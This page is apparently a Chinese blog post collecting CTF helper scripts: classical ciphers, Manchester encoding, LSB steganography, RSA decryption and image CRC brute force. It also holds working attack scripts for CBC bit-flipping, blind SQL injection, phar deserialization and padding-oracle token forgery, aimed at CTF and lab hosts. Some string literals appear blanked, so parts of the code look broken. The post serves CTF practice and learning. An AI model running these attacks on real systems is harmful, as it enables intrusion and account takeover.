CTF辅助脚本
首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密
凯撒密码
flag='flag{abcdef}'
c=''
n=20
for i in flag:
if 'a' <= i <='z':
i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
c+=i
print c
栅栏密码
n= 5
m = "flag{0123456789abcdef}"
c=''
for x in range(n):
for i in range(len(m)):
if((n - i + x) % n == 0):
c+=m[i]
print c n=5
m=''
c=list(c)
zero=(n-len(c))%n
n=(len(c)+zero)/n
if zero != 0:
for i in range(1,zero):
c.insert(-n*i+1,'')
c.append('')
for x in range(n):
for i in range(len(c)):
if((n - i + x) % n == 0):
m+=c[i]
if zero!= 0:
m=m[:-zero]
print m
曼彻斯特编码与解码
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s=''
for i in range(len(flag)):
if flag[i]=='':
s+=''
else:
s+=''
print hex(int(s,2))[2:-1]
#296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
r=""
for i in range(len(s)/2):
if s[i*2:i*2+2] == '':
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}
差分曼彻斯特编码与解码
#coding=utf-8
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='' # or '10'
for i in range(len(flag)):
if flag[i]=='':
s+=s[-2:][::-1]
else:
s+=s[-2:]
print hex(int(s,2))[2:-1]
#6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}
lsb隐写
#coding=utf-8
from PIL import Image
import binascii
import random im_path = 'timg.jpg'
im = Image.open(im_path)
width, height = im.size
newImg = Image.new("RGBA",(width, height),(255,255,255,120))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
newImg.putpixel((j,i),(a,b,c,180))
newImg.save('new.bmp','PNG') flag=binascii.b2a_hex('flag{123456}')
flag= bin(int(flag,16))[2:]
flag= ''*(8-len(flag)%8)+flag
print flag newImg = Image.new("RGB",(width, height),(0,0,0))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
try: #将末尾像素置0后写入
newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
except:
try: #其余像素奇偶随机
newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
except:
newImg.putpixel((j,i),(a,b,c))
newImg.save('new.png','PNG')
cbc字节翻转攻击
import requests
enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
m='Welcome to the code system!This is a test string'
fake='uu=admin&ff=php://input&ccc=nl *' iv=enc[16:32]
m1=m[32:]
fake1=fake[16:]
fake_iv='' for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
enc=enc[:16]+fake_iv+enc[32:] m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content iv=enc[:16]
m2=m[16:32]
fake2=fake[:16] fake_iv=''
for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
enc=fake_iv+enc[16:] m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content print m
flask session伪造
from flask import Flask, session
import uuid
import urllib.request
app = Flask(__name__)
app.config['SECRET_KEY']='' @app.route('/')
def index():
session['username']='user'
session['isadmin']=''
return 'hello' if __name__ == "__main__":
app.run(debug=True,port=8000,host="0.0.0.0")
RSA demo
from gmpy2 import *
e=65537
p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
n=p*q
c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
x=long((p-1) * (q-1))
d= invert(e,x)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')
SQL注入辅助
import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
phar反序列化demo
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
$o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
padding oracel
import requests
import urllib host='124.193.74.211'
port=''
#host='127.0.0.1'
#port='80'
url='http://%s:%s/login.php'%(host,port)
session = requests.session()
session.post(url=url,data={'username':'admin','password':'admin'}) im=[]
for i in range(1,17):
try:
s=''
xx=''
for j in im[::-1]:
xx+=chr(i^j)
for j in range(256):
s='\xff'*(16-i)+chr(j)+xx
s=s.encode('base64')
session.cookies.set('token',urllib.quote(s),domain=host,path='/')
x=session.get(url).text
if 'Error' not in x:
im.append(j^i)
print s.decode('base64').encode('hex')
break
print im
except Exception as e:
print e,'\n' for j in range(256): s='\x0f'*15
token=''
for i in range(15):
token+=chr(im[::-1][i]^ord(s[i]))
token=chr(j)+token
token=token.encode('base64')
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
if 'Error' in x:
im.append(j^ord(''))
print im
break im=im[::-1]
s='onepiece'+chr(8)*8
token=''
for i in range(16):
token+=chr(im[i]^ord(s[i]))
token=token.encode('base64')[:-1]
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
print session.cookies,x
爆破图片crc
import binascii for i in range(16**4):
i=hex(i)[2:].zfill(4)
for j in range(16**4):
j=hex(j)[2:].zfill(4)
s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
if s=='53d1578a':
print 'x:',i,'y:',j,'crc:',s
print 'x:',i
CTF辅助脚本的更多相关文章
- gcov辅助脚本
gcov辅助脚本(金庆的专栏)代码覆盖测试查看结果时,需要进入代码所在目录,调用gcov,然后vi查看.因为代码目录结构复杂,进出子目录太麻烦,所以用以下脚本直接生成与查看.一般是用TSVN列出有更改 ...
- [Python] 用python做一个游戏辅助脚本,完整思路
一.说明 简述:本文将以4399小游戏<宠物连连看经典版2>作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对.对于有兴趣学习游戏脚本的同学有一定的帮助. 运行环境:Win10/Py ...
- CTF写脚本
今天总结一下CTF如何写脚本快速得分....(比较菜,能力有限,大佬勿喷) 所谓的写脚本得分,就是利用了 python爬虫的思想,如果之前没有听说过的话,可以去爬虫的相关语法.如果是看网上的视频的话, ...
- py-faster-rcnn几个辅助脚本
py-faster-rcnn本身代码很棒. 不过使用它的时候,还是需要自己写一些脚本,作为辅助. 1 所有.py文件顶部添加utf8编码声明.因为有时候需要添加中文注释,不声明编码会报错 #inser ...
- Acunetix Web Vulnerability Scanner Python辅助脚本
WvsScannerQueue.pyVersion: Python 2.7.* Acunetix Web Vulnerability Scanner 辅助Python脚本的第一个版本.功能:扫描URL ...
- 编写简单的辅助脚本来在 Google 表格上记账
我的第二份工作入职在即,而这一次则真的是完全跑到了一个陌生的城市了.租房,购置相关用品,还尚未工作钱就花掉一堆.尽管我个人之前一直都没有过记账的习惯,但为了让自己能够搞清楚自己的钱都花在哪里了,于是还 ...
- 简陋的swift carthage copy-frameworks 辅助脚本
在看 carthage 时,其中需要配置一个 copy-frameworks 脚本,此脚本特殊的地方,需要手动填写 Input Files 和 Output Files.一个一个填写,很糟心~ 观察了 ...
- [W3bSafe]Metasploit溢出渗透内网主机辅助脚本
文章来源i春秋 脚本用Shell编写 有的内网特别脆弱 本脚本主要就是 测试的话方便一点 输入内网网关就能调用Metasploit全部模块测试整个内网 运行截图<ignore_js_op ...
- " XSS易容术---bypass之编码混淆篇+辅助脚本编写"
一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...
随机推荐
- buffer 与 cache 的区别
Buffer 和 Cache buffer 和 cache 同样作为缓存,他们之间有什么区别呢? 简单来说,buffer 是即将要写入磁盘的缓存,而 cache 是从磁盘中读出来放到缓存的 参考来自: ...
- sql 视图的用法
在一个项目的实际开发过程中牵涉到复杂业务的时候,我们不可避免的需要使用中间表来进行数据连接,有的同学就说了,我可以采用Hibernate进行主外键进行关联啊?多对多,多对一,一对一,等,采用主外键关联 ...
- Oracle11g数据库导入Oracle10g操作成功
转自:https://wenku.baidu.com/view/1b652b57f7ec4afe04a1dfb8.html
- Reeds-Shepp曲线和Dubins曲线
转载:https://www.cnblogs.com/huyanan/articles/6243694.html 什么是Reeds-Shepp曲线? 想象你下班开车回家,到了小区后想把车停 ...
- sk_buff内核api函数记录
1.alloc_skb() 上层协议要发送数据包的时候或网络设备准备接收数据包的时候调用 2.kfree_skb() 释放sk_buff结构体 3.skb_put() 在数据区的末端添加某协议的尾部 ...
- 浅谈sass与less区别优缺点
Sass是一种动态样式语言,Sass语法的缩排语法,比Css比多出很多功能,如变量,嵌套,运算,继承,颜色处理,函数等,易于阅读.Cass的安装需要安装Ruby环境,是服务器端处理的,Less是需要引 ...
- MySQL 进阶3 排序查询
#进阶3 排序查询 格式: select 查询列名 from 表 [where 筛选条件] order by 排序列名 [asc / desc] 排序查询/嵌套排序查询/函数查询/[按别名进行 排序] ...
- ArcGIS10.6 通过ArcMap发布二维数据服务。
ArcGIS版本基本每年都会更新,原来一直用10.2,在ArcMap中发布服务: 最近安装10.6整套系统,发现在ArcMap中输入http:id:6080/arcgis 输入用户名,密码 无法登录 ...
- JAVA遇见HTML——JSP篇:JSP内置对象(下)
什么是session session表示客户端与服务器的一次会话 Web中的session指的是用户在浏览某个网站时,从进入网站到浏览器关闭所经过的这段时间,也就是用户浏览这个网站所花费的时间 从上述 ...
- IP选项处理
1:引言 I P输入函数(i p i n t r)将在验证分组格式(检验和,长度等)之后,确定分组 是否到达目的地之前,对选项进行处理.这表明,分组所遇到的每个路由器以及最终的目的主机都要对分组的选项 ...